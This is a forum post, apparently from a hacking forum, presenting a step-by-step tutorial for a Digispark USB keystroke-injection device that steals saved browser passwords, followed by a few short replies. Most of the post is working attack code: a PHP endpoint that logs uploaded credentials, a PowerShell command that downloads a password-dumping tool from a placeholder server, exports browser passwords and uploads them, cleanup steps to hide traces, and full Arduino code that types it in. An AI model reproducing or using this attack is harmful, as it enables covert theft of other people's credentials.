• Setup our web server to save incoming passwords
  
• Write a script that:
  1. Downloads a password recovery tool
  2. Uses the tool to export browser passwords
  3. Uploads exported passwords back to our server
  

• Digispark
  
• Arduino software
  
• Web server
  

• {Setting up the webserver}
  I'll assume you already have appache/nginx with php running on your server.
  * First you have to upload the password recovery tool to your server, for this tutorial we'll be using WebBrowserPassView by NirSoft (link will be in the bottom of the post)
  I downloaded it, named it pw.exe and placed it in the root directory of the server
  * Let's create a directory for our password exports
  
  Code:

  mkdir log
  * Now let's make a php upload script that saves all the data it gets to a file:
  
  Code:

  <?php $file = "log/" . $_SERVER['REMOTE_ADDR'] . "_" . date("Y-m-d_H-i-s") . ".creds"; file_put_contents($file, file_get_contents("php://input")); ?>
  I copied this script from a Hak5 tutorial (link will be in the bottom ot the post)
  * The server is now set up
  
  
• {Writing the script for Digispark}
  Okay so the first thing we need to do is write a powershell script that does what we need
  * So at first the script should go somewhere that it wouldn't bother the user: windows TEMP directory is a great place
  
  Code:

  $TempDir = [System.IO.Path]::GetTempPath() cd $TempDir
  * Then it should create it's own directory so that it would be easy to clean up after ourselves: "pw" is a perfect name
  
  Code:

  mkdir pw cd pw
  * Now the script shoud download the password recovery tool from our server and use it to export the passwords (the "| Out-Null" will force the powershell to wait till the execution is finished)
  
  Code:

  Invoke-WebRequest "https://YOUR_SERVER/f/pw.exe" -OutFile "pw.exe" | Out-Null .\pw.exe /scomma pw.txt | Out-Null
  * Then it should upload the loot to our server
  
  Code:

  Invoke-RestMethod -Uri "https://YOUR_SERVER/upload.php" -Method Post -InFile pw.txt -UseDefaultCredentials | Out-Null
  * Let's clean up after ourselves shal we
  
  Code:

  cd .. Remove-Item pwd -recurse
  
  Now that we have our script let's program the Digispark to execute it
  
  Code:

  #include "DigiKeyboard.h" void setup() { // don't need to set anything up to use DigiKeyboard } void loop() { // this is generally not necessary but with some older systems it seems to // prevent missing the first character after a delay: DigiKeyboard.sendKeyStroke(0); // Open powershell DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.print("powershell"); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); // Execute code from the interwebs DigiKeyboard.print("$TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;mkdir pw;cd pw;Invoke-WebRequest \"https://YOUR_SERVER/pw.exe\" -OutFile \"pw.exe\" | Out-Null;.\\pw.exe /scomma pw.txt | Out-Null;Invoke-RestMethod -Uri \"https://YOUR_SERVER/upload.php\" -Method Post -InFile pw.txt -UseDefaultCredentials | Out-Null;cd ..;Remove-Item pw -recurse"); DigiKeyboard.delay(100); DigiKeyboard.sendKeyStroke(KEY_ENTER); while(true){ //do nothing } }
  
  
• {You have done it}
  Congratulations! You can now backup the passwords from all those computers you own!
  If everything is done correctly your exported passwords should be located on your servers, let's look at what I got:
  
  Sorry if you wanted to see more, I don't save passwords in browsers
  
  Here's a video demo:
  
  

(04-12-2018, 03:17 AM)Oni Wrote: Most secure place to keep them, is in your brain.

(04-12-2018, 03:17 AM)Oni Wrote: Storing passwords always seemed like a bad idea to me, although there's always the option of hashing/encryption. Most secure place to keep them, is in your brain.

(04-12-2018, 04:50 AM)mothered Wrote: As with devices, your brain also needs a backup.

(04-12-2018, 09:47 AM)Pikami Wrote: I use different passwords on all sites